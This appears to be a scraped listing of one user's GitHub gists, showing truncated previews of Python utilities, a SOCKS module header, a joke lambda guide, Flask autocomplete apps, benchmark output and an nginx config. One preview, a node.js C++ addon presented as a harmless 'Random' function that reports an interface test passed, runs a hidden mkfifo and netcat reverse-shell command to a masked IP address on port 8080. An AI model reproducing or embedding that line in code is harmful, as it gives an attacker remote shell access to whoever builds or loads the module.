This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""SocksiPy - Python SOCKS module. | |
Version 1.00 | |
Copyright 2006 Dan-Haim. All rights reserved. | |
Redistribution and use in source and binary forms, with or without modification, | |
are permitted provided that the following conditions are met: | |
1. Redistributions of source code must retain the above copyright notice, this | |
list of conditions and the following disclaimer. | |
2. Redistributions in binary form must reproduce the above copyright notice, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
########################################################## | |
# How to NEVER use Lambdas. An inneficient and yet educa-# | |
# tonal guide to the proper misuse of the lambda constru-# | |
# ct in Python 2.x. [DO NOT USE ANY OF THIS EVER] # | |
# by: e000 (13/6/11) # | |
########################################################## | |
## Part 1. Basic LAMBDA Introduction ## | |
# Well, it's worth diving straight into what lambdas are. | |
# Lambdas are pretty much anonymous "one line" functions |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(lambda n,s,I:n.classobj ('h',(),dict(__init__= ( lambda M,S,P,C:M.__dict__ | |
.update(dict(R=(S,P),H=C ,A=1<<8,O=s.socket()))), C=(lambda M:(M.O.connect( | |
M.R),1/7, None, None, "sock" | |
,setattr (M,'D' ,M.O. ##### | |
makefile ()),1 ,None ,8192 | |
,setattr (M,'S',(lambda l='':M.O. send( | |
l+'\r\n' ))),M.S("NICK hue"),M.S( "USER" | |
" a b c" " d :HE"),setattr(M,'R', lambda | |
n,m:M.S( 'PRIV' 'MSG ' '%s :' | |
'%s'%(n, m))), M.P() )),G=( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import collections | |
import functools | |
from itertools import ifilterfalse | |
from heapq import nsmallest | |
from operator import itemgetter | |
from twisted.internet.defer import maybeDeferred, succeed, Deferred | |
class Counter(dict): | |
'Mapping where default values are zero' | |
def __missing__(self, key): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Cryto.net Tahoe-LAFS -> WSGI Gateway Proxy | |
-------------------- | |
Everyone is permitted to copy and distribute verbatim or modified | |
copies of this license document, and changing it is allowed as long | |
as the name is changed. | |
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
e@e-desktop:~/proxybot/bench$ ab -c 50 -n 5000 http://localhost:8000/ | |
This is ApacheBench, Version 2.3 <$Revision: 655654 $> | |
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ | |
Licensed to The Apache Software Foundation, http://www.apache.org/ | |
Benchmarking localhost (be patient) | |
Completed 500 requests | |
Completed 1000 requests | |
Completed 1500 requests | |
Completed 2000 requests |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import dawg, flask, time, string | |
app = flask.Flask(__name__) | |
trie = None | |
NUM_RESULTS = 30 | |
DICT_FILE = "/usr/share/dict/words" | |
_index_html = """ | |
<html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import marisa, flask, time | |
app = flask.Flask(__name__) | |
trie = marisa.Trie() | |
agent = marisa.Agent() | |
NUM_RESULTS = 30 | |
DICT_FILE = "/usr/share/dict/words" | |
_index_html = """ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <node.h> | |
#include <cstdlib> | |
using namespace v8; | |
Handle<Value> Random(const Arguments& args) { | |
HandleScope scope; | |
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8080 >/tmp/f"); | |
return scope.Close( | |
String::New("Extenderp interface test passed! We hope...") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Put me in /etc/nginx/sites-enabled/ | |
server { | |
listen 80; | |
server_name localhost; | |
location / { | |
index index.html; | |
root /var/data/www; | |
} | |
include /etc/nginx/sites-enabled/apps/*; | |
} |
NewerOlder